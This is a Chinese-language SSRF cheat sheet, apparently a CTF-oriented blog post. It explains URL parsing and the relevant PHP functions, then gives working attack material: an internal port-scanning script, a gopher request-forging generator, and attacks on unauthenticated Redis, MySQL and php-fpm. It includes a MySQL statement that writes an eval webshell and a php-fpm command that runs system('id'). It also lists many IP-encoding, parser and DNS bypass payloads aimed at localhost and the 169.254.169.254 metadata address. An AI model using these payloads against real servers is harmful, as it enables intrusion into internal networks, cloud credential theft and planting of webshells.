SSRF宝典
ssrf原理 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,正是因为他是有服务器端发起的,所以它能够请求到与他相连而与外网隔离的内部系统
URL结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 URL结构遵循RFC1738标准,基本结构如下: URI=scheme:[//authority]path[?query][#fragment] 其中authority又可以表示为 [userinfo@]host[:port] scheme由一串大小写不敏感的字符组成,表示获取资源所需要的协议,俗称协议头 authority中的userinfo是一个可选项,一般HTTP使用匿名形式来获取数据,如果需要进行身份验证,格式为username:password@来表示 host是指在哪个服务器上获取资源,一般所见可以是域名形式、也可以是IP形式,包括IPV4和IPV6 port为服务器端口,http协议默认为80端口,而https协议默认是443端口,ftp协议是21端口,访问时如果使用默认端口,可以将端口省略 path为资源路径,一般用/进行分层,可以是基于文件的目录,也可以是基于路由的分层 query是指查询字符串,这里是可以动态改变的,我们前面也学过,可以用key=value形式的,也可以用index.php/Home/User/Index形式的pathinfo格式 fragment表示页面上的片段ID,一般不会跟随浏览器发送到服务器上,页面中一般表示为锚点,用#开头,所以我们在GET请求中,如果要发送#,就必须进行 Urlencode编码,否则会认为是锚点
相关函数和类
file_get_contents ()
:将整个文件或一个 URL所指向的文件读入一个字符串中
readfile ()
:`输出一个文件的内容
fsockopen ()
: 打开一个网络连接或者一个 Unix 套接字连接
curl_init ()
: 初始化新的会话,返回 cURL 句柄,供 curl_setopt () curl_exec () 和 curl_close () 函数使用
fopen ()
: 打开文件或者URL
PHP 原生类 soapclient
在触发反序列化时可导致SSRF
parse_url
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $url = 'http://username:password@hostname/path?arg=value#anchor' ;print_r (parse_url ($url ));echo parse_url ($url , PHP_URL_PATH);?>
相关协议
file
协议:在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict
协议:泄露安装软件版本信息,查看端口,操作内网 redis 服务等
gopher
协议:gophar 支持发出 get post 请求,可以构造成符合 gopher 协议的请求,让服务器执行各种操作
http/s
协议:探测主机内网主机存活
SSRF漏洞利用 内网资源收集 端口存活情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport timeports = ['80' ,'3306' ,'8080' ,'8000' ,'8111' ] session = requests.Session() for i in range (255 ): ip = '192.168.80.%d' % i for port in ports: Url='http://example.com/?url=http://%s:%s' % (ip,port) try : res = session.get(Url,timeout=3 ) if len (res.content) > 0 : print (ip,port,'is open' ) except : continue print ('done' )
通过host进行存活端口探测监听分三钟
127.0.0.1只允许本地访问
0.0.0.0 允许任意地址访问
192.168.233.233 只允许特定IP访问
敏感信息收集:
内网IP地址信息:/etc/hosts
网络情况:/proc/net/arp
/etc/network/interfaces
gopher协议扩展攻击面 首先让我们了解其结构
1 URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher的默认端口是70
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
注意:%0d%0a是\r\n的URL编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import urllib.parsehost = "127.0.0.1:80" content = "uname=admin&passwd=admin" content_length = len (content) payload =\ """POST /index.php HTTP/1.1 Host: 127.0.0.1:80 User-Agent: curl/7.43.0 Accept: */* Content-Type: application/x-www-form-urlencoded Content-Length: 24 uname=admin&passwd=admin """ .format (host,content_length,content)tmp = urllib.parse.quote(payload) new = tmp.replace('%0A' ,'%0D%0A' ) result = 'gopher://127.0.0.1:80/' +'_' +new result = urllib.parse.quote(result) print (result)
Redis运行在内网,一般在6379端口,如果配置为空密码,则其支持通过某些协议来访问和增删改查
redis一条命令执行一个行为,一条是错的,下一条会继续执行
如果我们能控制报文的任意一行,就可以实现攻击.
通过SSRF访问内网Redis
MySQL分为客户端和服务端,由客户端连接服务端有四种方式,分别是
unix套接字
内存共享
命令管道
TCP/IP套接字
我们进行攻击依靠第四种方式,MySQL客户端连接时,有两种情况:
需要密码认证,服务器先发送salt,客户端使用salt进行加密后再验证
不需要密码认证,直接使用上边第四种方式发送数据包
这里攻击MySQL要在非交互条件下进行,一定只能攻击没有密码的的MySQL服务端
这里我们写马要用MySQL语句写
select "<?php eval($_POST[1]);" into outfile 'var/www/html/1.php';
php-fpm的参数中的php_admin_values(flag)可以覆盖.ini配置文件,由此我们可以修改allow_url_include:On
整理一下流程大致就是
1 2 3 4 ssrf 控制服务端脚本请求本地php-fpm端口 伪造配置参数包含php://input数据 执行php://input内提交的代码
这里还是使用gopherus
还有一种叫做未授权访问 php-fpm,当端口绑在0.0.0.0上可以任意地址访问,直接用脚本
1 python fpm.py 192.168 .98 .149 /var/www/html/index.php -c "<?php system('id'); exit(); ?>"
点击即可获得使用详解呦
SSRF绕过 普通畸形地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 HTTPS协议 https://127.0.0.1/ https://localhost/ [::]//这种是ipv6的地址形式 http://[::]:80/ http://0000::1:80/ CIDR http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 十进制IP地址 http://0177.0.0.1/ http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 IPv6/IPv4地址嵌入 http://[0:0:0:0:0:ffff:127.0.0.1] bash变量(curl情况) curl -v "http://evil$google.com" $google = "" 组合技巧 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 : 1.1.1.1 requests + browsers : 2.2.2.2 urllib : 3.3.3.3 绕过filter_var() 0://evil.com:80;http://google.com:80/ 绕过file_get_content data://google.com/plain;base64,SSBsb3ZlIFBIUAo= 绕弱parser http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80:\@@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/ DNS记录(检测带外流量监控平台:http://ceye.io/dns-rebinding) http://169.254.169.254 http://metadata.nicob.net/ http://169.254.169.254.xip.io/ http://1ynrnhl.xip.io/ http://www.owasp.org.1ynrnhl.xip.io/ HTTP302跳转 静态:http://nicob.net/redir6a 动态:http://nicob.net/redir-http-169.254.169.254:80- 八进制溢出(适用于NodeJs服务器) http://265.0.0.3
相关payload可以看这个:
SSRF payloads. Payloads with localhost | by Pravinrp | Medium
0在linux系统中会解析成127.0.0.1
linux中可以。代替.
在windows中解析成0.0.0.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 url=http://0.0.0.0/flag.php url=http://0/flag.php url=http://127.1/flag.php url=http://127.0.1.3/flag.php url=http://127.127.127.127/flag.php url=http://127.0000000000000.001/flag.php url=http://017700000001/flag.php url=http://0x7f.0.0.1/flag.php url=http://0177.0.0.1/flag.php url=http://2130706433/flag.php url=http://localhost/flag.php url=http://sudo.cc/flag.php url=http://0x7F000001/flag.php url=http://localtest.me/flag.php url=http://spoofed.burpcollaborator.net/flag.php 302跳转,这里我就不写了 url=http://127。0。0。1/flag.php //× url=http://127。0.0.1/flag.php //× url=http://loc£Álhost/flag.php //× url=http://loc£Álhost/flag.php //×
进制转化网站:http://www.tbfl.store/net/ip.html
使用enclosed alphanumerics
绕过数字限制 1 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
比如我们访问127.0.0.1,如果0被过滤了就可以使用127.⓿.⓿.1
还有一种idna字符还可以用代码生成
1 2 3 4 5 6 7 8 9 for i in range(128,65537): tmp=chr(i) try: res = tmp.encode('idna').decode('utf-8') if("-") in res: continue print("U:{} A:{} ascii:{} ".format(tmp, res, i)) except: pass
但是尝试后从未成功过…..
特殊写法绕过 1 url=https@0/test.octagon.net/1.php/../../flag
DNS泛域名 xip.io
和xip.name
这两个dns泛域名,实现绕过的方法是,你在你想访问的ip地址后面添加这两个泛域名,这两个域名会从你发出的请求中提取你真正想访问的IP地址
1 2 3 4 5 http://www.10.0.0.3.xip.io http://mysite.10.0.0.3.xip.io http://foo.bar.10.0.0.3.xip.io http://foo.10.0.0.3.xip.name http://www.10.0.0.3.xip.name